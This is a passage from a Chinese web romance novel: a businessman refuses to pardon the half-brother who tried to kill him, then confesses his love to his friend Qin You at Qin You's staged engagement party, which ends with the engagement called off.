严立辉摇着头,嘴里还说着“不可能”,见他们要走,才反应过来,阴着脸看向严庭深:“不管怎么样,他是你弟弟,就算犯了错,人放出来,我让他到国外去,永远不回来碍你的眼,这种惩罚还不够吗?”
严庭深看他一眼,淡声道:“欠债还钱,杀人偿命,这是最简单的道理。”
严立辉顿时怒容满面:“你和秦游现在不是好好的吗,难道就为了他一时犯傻犯下的错,你就想要他的命?严庭深,你到底有没有一点人性!”
齐晏听不下去了:“伯父,庭深和秦游现在好好的,是他们福大命大,如果不是运气好,他们不死也要留下后遗症,这分明是孟云哲要他们的命。”
严立辉重重呼吸,还是摇头:“签谅解书,至少要留他一条命。”
严庭深道:“这件事,走司法程序吧。”
听到这句话,严立辉的脸色难看到了极点。
严庭深从小冷血,在他眼里,书兰和云哲才是他的妻子和儿子,现如今,就算孟云哲犯了错,却毕竟没有造成严重后果,他可以接受适当惩罚,可严庭深果然还是骨子里就冷血的禀性,竟然丝毫不顾念血缘亲情,要亲弟弟的命,还要他这个亲爸白发人送黑发人。
看到严庭深扔下这句话就要离开,他恨声说:“签谅解书,否则,你喜欢男人的事,我会告诉你祖父。”
严庭深脚下顿住。
他看向严立辉:“我和秦游,不是你以为的关系。”
看他的反应,严立辉又是冷笑:“我有说过这个男人就是秦游吗?”
闻言,严庭深眉间微蹙。
“你告诉我,你和秦游是什么关系?”
严立辉步步紧逼,“你敢发誓,你不喜欢他?不会和他在一起?”
齐晏看了看严庭深,想代他回答:“伯父——”
严立辉不耐烦地打断:“这是严家的私事,你一个外人,插什么嘴!”
说完,他又看向罕见在沉默的严庭深,“我不是瞎子,想骗我,你下次先把自己骗过去再说!”
裴笙也看向严庭深,眼底带着忧虑。
秦游出柜,秦氏的动静闹得无人不知;而相比秦家对秦游,严家对庭深的态度,只会更苛刻。
如果被严老得知这个消息,庭深肯定会受到影响。
但刚过片刻。
严庭深开口,他语气淡淡:“这件事会走司法程序——”
严立辉有所缓和的脸色又难看起来。
“——至于流言蜚语。”
严庭深扫过严立辉,“你说与不说,可以自便。”
严立辉脸红筋涨,气得呼吸几乎不畅:“严庭深!你自己喜欢男人,不放过云哲,难道要我绝后吗!”
严庭深没再理会,转身离开。
齐晏和裴笙对视一眼,也都跟了上去。
直到洽谈结束,两人又和严庭深一起回到办公室。
室内安静无声。
齐晏把合同翻来覆去看了几遍,终于忍不住:“庭深,现在怎么办?你爸要是真的把你和秦游的事捅出去,事情就大了。”
良久,严庭深道:“无谓的假设,没有讨论的意义。”
“……”齐晏说,“我看你爸的样子,这个假设很有意义。”
严庭深看他一眼。
“……”齐晏耸肩,“行吧,我不说就是了。”
严庭深收回视线,目光却微转,落在腕上的表盘。
裴笙这时迟疑着说:“庭深,我,今天也收到了秦家送来的请柬。”
齐晏当即跟着说:“其实我也是。”
他们的请柬来得比严庭深稍晚,今早才到。
裴笙又问:“我们,要去吗?”
秦游订婚,秦老单独提前在深夜给庭深送来请柬,显然不是出于好心。
他以为庭深不会去。
但下一秒就听到那道熟悉的沉稳嗓音。
“去。”
严庭深转腕,重新拿笔,语气听起来毫无异常。
“为什么不去。”
第 80 章 不再犹豫的吻,重重落在……
正月初二。
酒店, 休息室。
应该是秦恒钟特意安排,秦游进门时,里面已经有人。
刘望舒坐在化妆台前, 一个化妆师, 一个发型师,正一前一后为她整理形象。
从镜子里看到秦游,刘望舒肉眼可见从松弛变得紧张起来。
“……秦总。”
听到这种称呼, 化妆师和造型师悄悄对视,又继续默默干活。
“嗯。”秦游看她一眼, 正要转身。
崔凌在他身后, 见状往前一步, 低声说:“小秦总, 只为你们备了这一间休息室。宴会很快开场, 在这里比较方便。”
秦游看过时间, 也没拒绝。
崔凌跟着一起到一旁沙发前, 坐下时介绍:“今天请的客人不多, 都是你和刘小姐最亲近的家人, 董事长说是你的意思, 订婚不需要办得太隆重。”
说到这, 他心里十分复杂。
还在假期,他就被董事长抓来当苦工,还收到指示, 这场订婚宴,务必尽量让秦游满意。
某种意义上,他理解董事长让他过来的原因。
毕竟自从二世祖回国,他和对方相处的时间最长。
相比较而言,放眼整个秦氏、甚至包括秦家, 竟然是他这个下属、一个外人,算是最了解秦游“喜好”的人了。
可自从秦游因“病”卸任,今天是他和秦游第一次碰面。
他万万没想到,再见面,会是秦游的订婚宴。
上次联系,他记忆深刻,秦游知道康明已经上位,却依旧我行我素,没有半点妥协的意思。
他实在猜不到,这段时间里,董事长都做了什么,才能让连秦氏都不放在眼里的秦游,愿意接受这种安排。
不过他也看得出来,二世祖根本不在乎这场婚事,连订婚对象都是派车接来的。
至于订婚仪式不需要办得隆重。
崔凌看向沙发上漫不经心的秦游。
是啊。
已经答应最关键的订婚,其余不重要的细枝末节,当然是以秦游的意愿为主,看上去才足够尊重。
“这是之后的时间安排。”
崔凌把手里的表格递向秦游,“如果需要改动,我立刻去办。”
秦游摆手:“你看着办吧。”
崔凌早猜到会听到这种回答,顺势收了手。
正在这时,耳机里传来一个消息,他的表情先是一惊,随后变得微妙,又看向秦游,不动声色地说:“小秦总,我先出去一趟。”
秦游没注意他的神色:“嗯。”
崔凌才起身离开。
到了门外,他立刻问了回去:“你说谁到了?”
对面的声音十足清晰。
“严庭深,严总。”
听到这个名字,崔凌的头皮就一阵发麻。
这种日子,这位过来干什么?
该不会来砸场子吧?
—
宴会厅。
小休息室。
齐晏关了门,才说:“我怎么觉得不太对劲啊?”
裴笙也说:“参加宴会的客人不多,除了我们,没邀请秦刘两家之外的人。”
齐晏看向严庭深:“秦老估计也没想到我们会参加吧。”
所以连这个小休息室,都是临时安排的。
男朋友的订婚宴,也只有严大总裁,不生气,不发火,还这么心平气和地来现场——
齐晏摸了摸鼻子。
其实说句实在话。
他也不能确定,严总到底是真的心平气和,还是另有乾坤。
只是事已至此,人都到了,再去想这些没有一点用处。
齐晏坐下,转向裴笙:“之前你不是一直劝庭深去找秦游说清楚吗,今天怎么不劝了?”
裴笙说:“宴会马上开始,来不及了。”
齐晏抬脚正要搭在脚凳,听到这句话,又坐起身:“谁说来不及?要我说今天正合适。”
裴笙皱眉看他:“在这里,你不要乱说话。”
齐晏对着紧闭的房门点了点下巴:“门关着呢,你怕什么。”
说完,他又看向严庭深,“庭深你想啊,在今天把秦游抢回来,秦老好面子,以后绝对不会再有什么订婚宴了。”
严庭深看他一眼。
“实话。”
齐晏眨眼,“就像裴笙前两天说的,你真的愿意把秦游拱手让人?”
严庭深走到窗前。
再过片刻,他淡声说:“这是他的选择。”
“什么选不选择的。”
齐晏不以为意,“抢过来就是你的。”
裴笙说:“注意一点。”
“难道不是吗?难道钧闵一开始就是庭深的?”
齐晏耸肩,“不争不抢,我们早被踢出局了。”
裴笙说:“靠实力竞争,算什么争抢。”
“谈恋爱靠的也是实力啊。”
齐晏笑了,“没实力,以秦总的性格,严总能抢到手?”
裴笙皱着眉,但没有出声打断。
齐晏说:“再说了,两个陌生人,三天订婚,这完全属于包办婚姻,纯粹的封建糟粕。”
严庭深终于开口:“够了。”
齐晏于是闭嘴。
严庭深没有回头,口中的话不知在说给谁听:“他答应订婚,只是权宜之计。”
齐晏忍了几秒,还是没忍住:“可这个权宜之计用完,从此之后,在其他人眼里,刘小姐才是秦游的爱人。”
闻言,严庭深眼底渐冷。
“毕竟,她马上就是秦游办过仪式、名正言顺的未婚妻——”
“……”胳膊被捣了一肘,齐晏抱着手看向面无表情的裴笙,熟练地忍气吞声。
然而房间没能安静太久。
门外忽然传来敲门声。
裴笙说:“进。”
门开了。
敲门的助理等在门外,秦恒钟走了进来。
看到他,裴笙和齐晏从沙发上起身:“秦老。”
秦恒钟对两人示意,只看向窗前也在回身的严庭深。
他同样没想到,严庭深看到请柬,得知秦游订婚,居然这么平静。
可严庭深来参加订婚宴,不论因为什么,都会是一个变数。
秦游好不容易才同意他的条件,他不想看到、也不能有任何意外发生。
秦恒钟转向身前两人:“麻烦两位到隔壁休息一会,我有一件事,需要和严总单独谈一谈。”
裴笙和齐晏当即看向严庭深。
严庭深微一颔首。
两人才告别离开。
门又合起。
秦恒钟对严庭深说:“请坐。”
面对眼前青出于蓝的后辈,第一次真正谈起这件他原本不想说破的事,他没有试着拐弯抹角,“我的来意,你应该猜得到。”
严庭深只道:“请讲。”
秦恒钟说:“我希望你和秦游分手。这对你,对他,对望舒,都是好事。”
严庭深说:“秦游已经订婚,秦老还不放心?”
“你如果真的看重秦游,就该为他考虑。”
秦恒钟说,“他从小背井离乡,独自一个人长大,难道你想看到他的孩子也这样成长?”
孩子?
严庭深眸光微敛,胸膛里游移不定的沉闷缓缓凝实,压在心底。
秦游在骗他?
对谈间的停顿只是一瞬,始终观察他的秦恒钟还是看得一清二楚。
“秦游没跟你提过吗?”
秦恒钟意味深长地说,“他答应我,婚后至少生一个孩子。”
话音落下,严庭深抬眼。
他和秦恒钟对视,语气淡淡:“既然是秦游的承诺,秦老何必来找我。”
秦恒钟看着他。
从这张确实出色的年轻面孔上,他看不到丝毫沉着之外的神色。
似乎秦游订婚的消息不足以给他打击。
秦游会结婚生子的事实,对他也无关痛痒。
一个来回,秦恒钟已经看得出来,仅仅一次谈话,还不能动摇这两个人的决心。
秦氏这个筹码不够用,威胁对秦游没有意义,太过激的手段,也容易导致秦游毁约。为免弄巧成拙,他不好再做什么,只能等了。
等到订婚结束。
等到严庭深亲眼看到那一幕。
最好是等到秦游回归家庭、回归正轨。
可惜,看样子,想等到这个结果,难度很高。
多说无益。
开宴时间也快到了。
眼见严庭深油盐不进,秦恒钟再聊了两句,起身出门。
严庭深也看向门外。
订婚的气氛堆在脸上,不论真情或是假意,来往众人都在笑谈。
没多久。
齐晏和裴笙从门外回来。
“庭深,秦老说了什么?”
齐晏先问,“和秦游有关吧?”
严庭深沉眸。
再看到门外又走来一个人影,他缓步过去,不等对方出声,先开了口。
“秦游在哪?”
崔凌一听。
心里一跳。
表情一僵。
完了。
语气不对……
—
休息室。
做好了发型,发型师收拾好工具,无声退了出去。
化妆师一看,也加快速度。
涂完口红,她站起身正要走到客人身后看向镜子,结果踩到一个发卡,脚下一滑。
“哎呀!”
化妆师一个踉跄,口红脱手而出,在她惊吓的眼神里,划过一个抛物线,落在一旁沙发上别人家、帅得她想哭的准新郎身上。
眼睁睁看着准新郎衣领上蹭出一道口红印,她的表情更是惊恐,连忙道歉:“对不起对不起!”
这种级别的客人,这件衬衫,她害怕一个月赚的钱都赔不起。
幸好印子很小,也很浅,应该还有救。
化妆师抽出湿纸巾,想上手擦,又不方便,求救的眼神下意识投向准新娘。
刘望舒赶紧过来,接到化妆师递来的湿纸巾,她也下意识看向秦游。
“我……”
化妆师忙说:“我知道怎么处理,可以擦干净的!”
秦游正要拒绝,看到她惊慌失措的眼神,才颔首道:“嗯。”
化妆师松了口气,站在一旁,口述教准新娘怎么做。
刘望舒听完点了点头,到秦游身旁,坐在沙发上,小心翼翼地抬手捏住秦游的衣领,丝毫不敢逾矩。
“噔噔噔——”
听到敲门声,化妆师忙说:“请进。”
门外,崔凌听到还有第三人在场,神经轻松了一些,之后打开房门,刚要进去,他突然瞪大双眼,脚下钉在原地,一丁点也不敢回头。
可惜门这么大,他不让开,也足够身后的人看到门内的场景。
刘望舒侧坐在沙发上,前倾靠近秦游,抬起两只手,不知道按在哪里,背影和倚在沙发靠背的秦游几乎重叠——
崔凌鼓起勇气,看了看严庭深的侧脸。
“……”他条件反射地回过眼,不敢再看,立刻咳了一声,“小秦总。”
刘望舒也回过头,看到两人,尤其对上严庭深的眼神,她本能退开,又从沙发上站起身来。
严庭深的视线扫过她,落在秦游身上。
他看过秦游带着口红印记的衣领,看向秦游的嘴唇,目光微抬,看向镜片后那双浸起笑意、多情流转的桃花眼。
“你怎么来了?”
崔凌:“……”
他不能理解,二世祖竟然还笑得出来。
严庭深往前一步。
崔凌心头又跳,当机立断,对门内两个人招手:“严总有事和小秦总商量,请先出来一下。”
刘望舒不疑有他,和化妆师一起出门。
秦游放下手里的平板,正要起身,听到严庭深突然开口。
“这就是你说的,订婚是假的。”
秦游微顿。
他看向严庭深:“订婚是假的,仪式总要办一个,否则老爷子怎么会轻易松口。”
“仪式?”
严庭深到他身前,抬手虚拂过他的衣领,“这也是仪式的一部分?”
秦游垂眸看过,轻笑一声:“这是——”
严庭深又看向他微扬的薄唇。
至少,这里还没有另一个人的痕迹。
微凉的指腹擦过下颌,落在唇边,秦游挑眉:“你在做什么?”
隔着镜片,严庭深看着他的双眼:“我只是想通一件事。”
秦游道:“什么事?”
严庭深说:“我可能不希望你会有名正言顺的未婚妻,也不希望看到你结婚生子——”
秦游凝眸看他,正要再次起身,严庭深的手却倏地落在他肩上。
“——这几天,我也考虑过,但裴笙的问题,其实早有一个答案。”
严庭深也看着秦游,语气和以往仍然没有区别,只有按在秦游左肩的手掌,力道是深思熟虑后的坚定,“秦游,我恐怕不愿意把你拱手让人。”
他说着,沉稳的嗓音越轻;俯身下去,距离越近。
“从前你认错了人,但我从没有认错。”
呼吸间,严庭深的声音不再低沉,“秦游,幸好,你从一开始认识的人是我。因为认识你,也是我有生以来,最幸运的事。”
秦游听他说完,沉默片晌,抬手扣在他手腕,作势起身:“你先松手。”
然而第三次。
严庭深把秦游按回沙发,抚在秦游唇边的手缓缓滑向颈侧。
他注视秦游的双眼,在无可忽视的心跳声中,强压正在急促的气息,说出那句秦游曾说过的话。
“秦游,我喜欢你。”
秦游瞳孔微缩。
严庭深最后倾身。
不再犹豫的吻,重重落在秦游的嘴唇。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
80-90
第 81 章 这些足以确定他的结果。……
柔软温热的触感压在唇上, 这个始料未及的吻突如其来,秦游一顿,直到更湿热的气息钻进唇缝, 他终于回神。
看着严庭深闭敛的眼睑, 秦游抬手的动作又一次停顿,随即扣在严庭深后颈——
严庭深却在这时微微往后。
他睁眼看向秦游,忽然抬手, 摘了秦游鼻梁上的眼镜。
秦游按在严庭深颈后的手还没松开,第二个吻又落了下来。
他又顿住, 手上稍稍用力, 没能拉开距离, 唯独不够清晰的声音, 从紧紧相贴的唇瓣中传出来。
“先松手。把话说清楚。”
话音落下, 再过良久, 唇齿堪堪分离。
但两道呼吸不复平缓, 仍在似乎渐渐燥热的狭小空间里纠缠。
严庭深看着秦游, 嗓音正沙哑:“我的话说得还不够清楚吗。”
秦游正要起身。
严庭深按住了他:“你想说清楚, 就在这里说清楚。”
秦游面不改色:“那你先坐下。”
严庭深只看着他, 一言不发。
秦游顿了顿:“这里不方便。”
严庭深的视线一错不错:“如果你想走, 大可以推开我。”
闻言,秦游略有沉默。
还是第一次,以这样的姿势被困住。
这种不由自主的滋味, 他并不习惯。
但把人推开?
他看着眼前这双熟悉的眼睛。
这双眼睛的主人,从不受冲动支配。
今天的这席话,就像他听到的。
‘这几天,我也考虑过——’
严庭深三思后做出的决定,回避不能解决任何问题。
秦游敛眸, 握在严庭深颈后的指腹在思虑间惯性摩挲,抚过掌下柔软的发际线,抬眼再对上严庭深的眼神,他指下倏地停住。
严庭深和他对视。
秦游正要收手,转而又落在严庭深肩上。
见严庭深不打算坐在一旁,他索性把人按在腿上坐下,好过继续动弹不得。
严庭深还没坐稳,看他一眼,心跳已经乱了节奏:“既然你不想走,那么告诉我,你的答案是什么?”
秦游正要开口,闻言,又止住话音。
系统憋了半天,再也憋不出了:【宿主,答应他呀!主角都主动示爱了,你还等什么,答应他,你的任务基本就可以宣告成功了!】
秦游眉头微动。
为了任务,答应主角的示爱。
这样功利的理由,他不会去做,严庭深也不会接受。
“告诉我。”
咫尺的距离,严庭深看见他的欲言又止,“秦游,你喜欢我吗?”
秦游有极难得的迟疑。
他没看严庭深,眉间刻有淡淡的痕迹:“我不喜欢男人。”
“不喜欢男人?”
严庭深沉眸抬手,扶在秦游侧脸,转回他的视线,“秦游,别忘了,从一开始,是你先招惹我的。”
“那是——”
秦游没再移开目光,他用简单的两个字概括,“误会。”
严庭深眼底却骤然微冷:“怎么,事到如今,你又打算喜欢裴笙?”
“说什么傻话?”
秦游无奈,“与他无关。”
严庭深沉沉看他:“那你说清楚,和谁有关?”
“和任何人都无关。”
秦游道,“是我的个人原因。”
严庭深看着他,忽地,唇边溢出一声短促的轻笑:“你不喜欢男人?”
听到笑声,再听严庭深的语气,秦游直觉不妙,正要再开口,眼前的脸已经靠近。
又一个突如其来的吻,带着和刚才大不相同的情绪,狠狠压了上来。
秦游猝不及防,搭在严庭深腰后的手一紧。
他还没动作,城关失守,池鱼也被殃及——
严庭深扯下秦游的领带,吻过他下颚,吻过颈侧,解开他衬衫的纽扣——
秦游按住他的手,抽空往紧闭的房门看了一眼:“别乱来。”
“乱来?”
严庭深沉声道,“这是你曾经做过的事,你忘得干干净净,现在我帮你全部记起来。”
话落,他拉出秦游后腰的衬衫,借坐在秦游腿上的居高临下,倾身压制秦游阻止的动作。
悄然微暖的手肆意游走,秦游几次起身,又被吻在唇上。
浅尝辄止的亲吻几度加深,他按住严庭深的手,却按不下逐渐滚烫灼热的气息。
蓦地。
他陡然停住,终于翻身把人换到身下,强按住严庭深所有动作。
严庭深没有挣脱,反回抱住他,却也忽而一顿。
秦游转眼,正和他拉开距离,腰后一紧。
四肢纠缠。
微重起伏的胸膛亲密无间。
严庭深垂眸往下扫过,又抬眼看他。
“不喜欢男人?”
秦游保持沉默。
严庭深自下而上,看他敞开的领口,看他滚动的喉结,看着他浸出血色的薄唇,又看向他不笑时深透冷峻的双眼。
只是此时此刻,这双眼睛也难以淡然。
严庭深躺在沙发,听着室内难言的安静。
但话说出口,木已成舟,他已经不想再等。
“秦游。”
他说,“我要你亲口告诉我准确的结果。”
秦游也看着严庭深。
沙发上的逼仄距离,他看得清身|下这张脸上的所有神情。
他看到严庭深的紧张,看到严庭深的期待,所有不属于严庭深的情绪,在一句话间,都汇聚在严庭深眼底。
他在等他的答案。
“我确定喜欢的人是你。那么你呢。”
严庭深问他,“你确定,不喜欢我吗?”
秦游曲肘撑在严庭深耳侧,始终没再试着离开。
听到这句不会有第三个答案的问题,他的手稍稍收拢,捻动着掌心细软微痒的头发。
是严庭深的头发。
秦游看着严庭深专注、几乎炽热的眼神,一时无言以对。
他知道眼前人想要的答案。
喜欢。
这两个字,除了严庭深,他没对任何人说起过。
从前是为了任务。
但今天再说出口,和任务没有半点关系。
他也从没想过,和严庭深会发展出朋友以外的关系。
只是那句话没有说错。
不论如何,从一开始,是他先招惹了严庭深。
“……”
房间内持续的安静,不是严庭深想要的结果。
“为什么犹豫?”
严庭深问,“如果你真的不喜欢我,为什么不亲口告诉我?”
秦游眸光闪动。
严庭深又问:“你不想和我在一起,是因为严家吗?”
秦游皱眉。
他听出这句话的言外之意。
当初苍滨那次人为制造的意外,他知道严庭深一直记在心上,认为他是受到连累。
现在旧事重提,自然那也是以为他担心被□□他的人陷害。
他们见面之初,严庭深也说过类似的话。
‘你想帮我,不怕惹祸上身?’
“算了。”
提起这件事,严庭深终于移开视线,不再去看秦游,“今天的话,你可以当我没说过。”
他主动松开力道,秦游却没起身。
压在身上的阴影没有离开,严庭深下意识回眼,不想直直望进秦游的眼睛。
“我和你之间的事,从来都和任何其他人无关。”
严庭深抿唇。
秦游看着他:“我……”
只说出一个字,话音又中断。
严庭深听出秦游语气里从未有过的游移不定,心间忽地一跳。
他想压下加重的呼吸,可一再上涌的莫名焦灼让他难以平静。
他情不自禁,追问出声:“什么?”
对上他这样的眼神。
秦游突然轻轻笑了,告诉他:“我没有不喜欢你。”
从前的误会早已经分明,从前因为误会做出的所有也早已经越过红线。
而今天,从前没有过的想法被严庭深说出口,重新做过从前绝不会做的一切——
秦游抬手拂去严庭深额前散下的一缕头发。
对严庭深做的一切,他没有丝毫厌恶,甚至没去拒绝。
就像严庭深说的,连一句“不喜欢”都在犹豫。这些足以确定他的结果。
既然如此,又何必自欺欺人。
严庭深心头猛然一紧。
他也抬手按在秦游手臂,滑到秦游臂膀,五指一再用力,正要开口。
“不。”
严庭深微怔,胸膛里稍稍下沉。
秦游正俯身。
他重新告诉他。
“严庭深,我喜欢你。”
第 82 章 再乱来,该出事了。……
熟悉的四个字。
这一次, 却真真切切是在对他陈述。
严庭深沉眸看着秦游,按在秦游肩臂的手缓缓收紧,在考究的布料留下道道如同心境的纵横皱褶。
他盯着秦游的眼睛, 呼吸渐渐深长。
扑面而来的气息藕断丝连, 秦游沉稳有力的心跳也仿佛穿透胸膛。
同样的飞雪正敲窗。
似曾相识的涌动热意又在酝酿。
除了秦游身上没有酒气。
这一幕,这样的场景,和耳边传来的声音, 都是曾发生的过往。
严庭深薄唇轻启,一贯冷淡的嗓音和缓放轻。
他紧紧握住秦游的体温, 低声确认:“你没骗我?”
秦游轻笑, 也低声道:“我为什么要骗你?”
严庭深却依旧直直盯着他:“你没有回答我的问题。”
秦游无奈:“好, 我回答你的问题。”
他伸手探进严庭深颈后, 起身时, 把人也从沙发上捞起来。
严庭深只等秦游的后话, 不觉间随他坐起, 但纠缠不清的身体难以分开, 还是最亲密的距离。
秦游也没在意, 抬手扶在严庭深后腰, 示意他坐稳。
严庭深扣住他的手, 再一次催促:“你在拖延时间。”
秦游又失笑。
他看向严庭深,回复他的确认:“我没骗你。我说的话,句句属实。”
严庭深看着他脸上的笑意, 手上力道也微松,垂眸看他开合的嘴唇,又看他融进笑意的双眼:“你说,你不喜欢男人。”
秦游眉峰轻跳:“刚表白就翻旧账,这不好吧?”
严庭深淡声说:“这笔账还很新。”
秦游轻笑出声:“喜欢男人, 我也是第一次,没经验。”
话间,松散的领带从一旁滑落,严庭深视线往下扫过,无意看到秦游衣领上的红痕,眸光悄然幽邃。
他再抬眼,掌下似乎随意帮秦游整理一同散乱的前襟,语气如常:“喜欢男人没有经验,怎么,和女人假戏真做,你的经验很丰富?”
“假戏真做?”
秦游任由他动作,笑问,“这条罪名又是从哪来的?”
闻言,严庭深忽地停住。
他按在秦游锁骨,倾身靠近,点漆如墨的丹凤眼终于微沉:“我进来之前,你和刘小姐在做什么?”
秦游顺势倚在沙发,略一回想:“刘小姐?她在帮我——”
话说到这,他记起严庭深进门之初,第一次流于表面的异样,往下扫过一眼,眼底已经了然。
严庭深正追问:“帮你什么?”
秦游噙笑反问:“你以为她在帮我什么?”
严庭深看着眼前这双毫无回避的含笑眼睛,心间微涩,抿唇移开了视线:“不论她在帮你什么,这是最后一次。”
在此之前,他和秦游只是朋友关系,他当然没资格要求秦游洁身自好。
“还有。”
严庭深又转回目光,和秦游对视,换了话题,“事已至此,你答应秦老婚后生子,该怎么解决?”
秦游笑说:“问题一个一个来。”
严庭深说:“还有什么问题?”
秦游道:“当然是我和刘小姐的问题。”
严庭深微蹙起眉,胸膛里的闷涨不适油然翻腾。
秦游的过往他没资格计较,也不打算再听到这个名字:“你和她——”
“我和她什么都没发生过。”
秦游打断了他,“至于这个口红印,是化妆师意外摔了口红,掉在我身上,加上时间紧迫,刘小姐想帮我擦干净,仅此而已。东西还在地上,你如果不信,可以请她们进来解释清楚。”
严庭深顿住。
他随着秦游示意的方向看过去,地面的确有一支打开的口红。
秦游微坐起身,就近看向严庭深看似冷静的脸,笑问:“你究竟以为我和她在做什么,这么生气?”
良久,严庭深才道:“我没生气。”
秦游唇边笑意更浓:“你突然把话挑明,也是因为这个?”
又是良久,严庭深避开他的眼神:“不是。”
秦游偏过脸,找回他的视线:“我的话,我确定句句属实,你的呢?”
严庭深也转脸,却不期然蹭在秦游的嘴唇。
秦游微顿,正要往后。
严庭深看他一眼,按在他锁骨的手往上推在他肩颈,倾身又吻过来。
秦游的手抬到半空,看到严庭深闭起的眼,转而轻轻落在他脑后。
直到温热的手牵起似有若无的麻痒,从肩颈往下流连,秦游睁眼。
他又看了门口一眼,按住严庭深的手,轻咳一声:“别闹。再乱来,该出事了。”
严庭深也睁开双眼。
从来冷若冰霜的冷漠眸光早已融解,他动作没停,看着秦游,语气俨然平淡:“出什么事?”
“……”忽地,秦游揽在严庭深腰后的手冷不丁收紧,呼吸微重一瞬,稍用力把人按进怀里,声音微沉微哑,“你确定要跟我装傻?这里随时会有人进来。”
滚烫的气息骤然拉近,从侧脸喷洒进衣领,严庭深顿了顿:“你在担心什么?”
耳边,倏然传来一声轻笑。
严庭深还没转脸,眼前一花,后背已经摔进柔软的坐垫。
秦游欺身压下,低头看他:“这么说,你不担心?”
感觉到腿间被不容抗拒的力道顶开,严庭深脊背僵硬。
秦游抬手抓住他刹那间无所适从的手,笑着吻过他微抿的唇,语气也不容置疑:“既然如此,你惹出的事,你来解决。”
严庭深的呼吸也渐渐粗重。
休息室内。
短暂停歇的灼热温度狂卷回笼。
—
宴会厅。
小休息室。
“快开宴了,庭深怎么还没回来?”
齐晏看表,又看裴笙,“他不会真去抢人了吧?”
“……”裴笙的声音也不够坚定,“应该不会。”
齐晏摸了摸鼻子。
以他们对严庭深的了解,对方绝对做不出这么惊世骇俗的举动,毕竟不够体面。
可按他们的了解,首先,严庭深就不会爱上秦游。
何况庭深刚才走的时候,神色语气都不太对,又这么一去不回,他很难不多想。
齐晏又看向裴笙:“要不要去找找?”
裴笙想了想,起身说:“走吧。”
秦游的订婚宴,他和齐晏都看得出,庭深嘴上不说,其实根本不可能不在意,否则也不会来参加,更不会因为秦老的一段话,就去找秦游。
他同样认为庭深不会做出在订婚宴上抢人的行为,这样冲动、这样不计后果,这不是庭深的性格。
他只是担心,秦老的话改变了庭深的态度,这一去,应该是找秦游质问,两个人在这个时候加深矛盾,很容易造成更严重的裂痕。
两人出门,问过工作人员,一起去了秦游所在的休息室。
到了门口,远远看到房门紧闭,齐晏说:“这间休息室,秦游和刘望舒共用,那现在刘望舒应该也在吧?”
裴笙说:“应该在。”
“那就没事了。”
齐晏脚下也慢了下来,“你听,里面这么安静,肯定没出事。”
裴笙还没说话,往前再走几步,忽然看到一旁走廊——
崔凌并刘望舒和一个陌生的女人,正站在路边,谁也没说话。
陌生的女人面露忐忑。
刘望舒揪着礼服上的流苏,不知道在想什么。
只有崔凌,看表,看手机,按着耳麦,脸上是肉眼可见的着急。
一眼看到走来的齐晏和裴笙,他忙走上前:“齐总,裴助,你们来了。”
齐晏问他:“里面什么情况?”
“……”崔凌对此也是茫然不知,“严总进去后,还没出来。”
齐晏和裴笙对视一眼,又看向丝毫没有反应的刘望舒。
崔凌急得有点上火,忍不住对两人暗示:“时间马上到了,齐总,您看……”
二世祖他惹不起。
严庭深他还是惹不起。
眼前这两位是严庭深的朋友,总比他惹得起。
但齐晏退了一步,打个哈哈:“庭深可能有什么重要的事要跟秦总聊吧,我不好去打扰。”
开玩笑。
去打扰暴|君的好事,他又不是脑子进水。
崔凌:“……”
这种时候。
这两个被强行拆散的怨偶。
怨偶独处一室,还待了这么久。
那会是什么重要的事?
还能有什么重要的事?
崔凌不敢深想。
更不敢深想,宴会马上开始,新人却迟迟不去,董事长知道这件事,他该怎么解释——
“齐晏,裴笙?你们也在?”
听到这个声音,崔凌僵在原地,没敢回头。
被点名的齐晏和裴笙却只能回头问好。
“秦老。”
秦恒钟看向两人,又看了一眼慢半拍的崔凌,转脸再看到一旁的刘望舒,眉头终于皱起来:“望舒?你怎么在外面?”
刘望舒张了张嘴,攥着手里的流苏,避重就轻地说:“秦老,我的妆也是刚化好。”
“……”齐晏看向这位刘小姐。
绿帽子上头,竟然还为秦游隐瞒。
不愧是和秦家联姻的女人,果然非同一般。
秦恒钟说:“都准备好了,秦游呢?”
崔凌硬着头皮说:“小秦总,他——”
刘望舒接口:“秦总衣领脏了,需要换一套衣服。”
“……”齐晏又看她一眼,不由佩服。
理由找得好。
这么一来,出来的时候衣服换了一套,也有说法。
一旁,裴笙也复杂地看向刘望舒。
“怎么还叫秦总?”
秦恒钟不疑有他,“马上订了婚,就是一家人了,不要这么见外。”
刘望舒低下头,没有说什么。
这个婚约,秦总提前跟她说得很清楚,她只是一个扮演订婚对象的演员,一切都是假的。
她不是真的和秦总订婚,和秦总当然也不是一家人。
崔凌则是长松了一口气,正要借口送秦恒钟离开,就见董事长转身走向休息室。
“董事长!”
“秦老!”
秦恒钟脚步一停,回头看向身后神色各异的几张脸。
崔凌整理好表情,没再表现出异样:“董事长,小秦总正在换衣服,等他换好,我会立刻请他到场。”
秦恒钟说:“一套衣服,还要换多久?”
他说着,视线扫过所有人,再一次转身。
刘望舒往前一步,想了想,又和化妆师留在原地。
崔凌想阻拦,一时又找不到任何借口,心里满怀忐忑。
见状,齐晏和裴笙也只能跟在秦恒钟身后,准备随时应对该有的、不该有的场面。
秦恒钟当先走到门前,脸色已经不是来时的平静。
他还没有到老眼昏花的地步。
这群人的表现这么奇怪,足以证明里面一定有什么不想让他看到的事在发生。又或者,干脆是某个人。
秦恒钟沉着脸按在门把手,然而片刻,还是抬手,敲响两声。
“秦游,你的衣服换完了吗?”
话音落下,他才打开房门。
门内。
秦游背对门口,和严庭深面对面站在沙发前。
只看场景,平平无奇。
齐晏越过秦恒钟肩膀,也看过去。
秦游衣领散开,连领带都解了下来。
再看两人背后的沙发上,两件外套随意扔在椅背。
严庭深被秦游挡在身后,但也看得出身上的衬衫带着褶皱,不复笔挺。
他正帮秦游打领带,听到动静,转眼看过来,按了按秦游肩膀,语气淡淡:“秦老。”
崔凌已经沉默着转身回避。
秦游先接过严庭深递来的外套,搭在小臂,才转身看向门口:“你们怎么来了?”
秦恒钟的脸色已经难看到了极点。
这种情形,他还有什么不明白?
然而忍耐再三,他没有发火,转而对秦游说:“客人都到了,订婚宴马上开场,秦游,换一套衣服,你该出发了。”
说完,他又看严庭深,“严总,今天是秦游和望舒订下婚约的日子,有什么话,我们可以明天再谈。”
闻言,严庭深神情未动,看向秦游。
秦恒钟却隐隐有种不详的预感。
果然。
下一秒,他就听到秦游的声音。
“今天的婚约——”
秦游看向秦恒钟,随手牵过严庭深的手。
他的话掷地有声:“取消吧。”
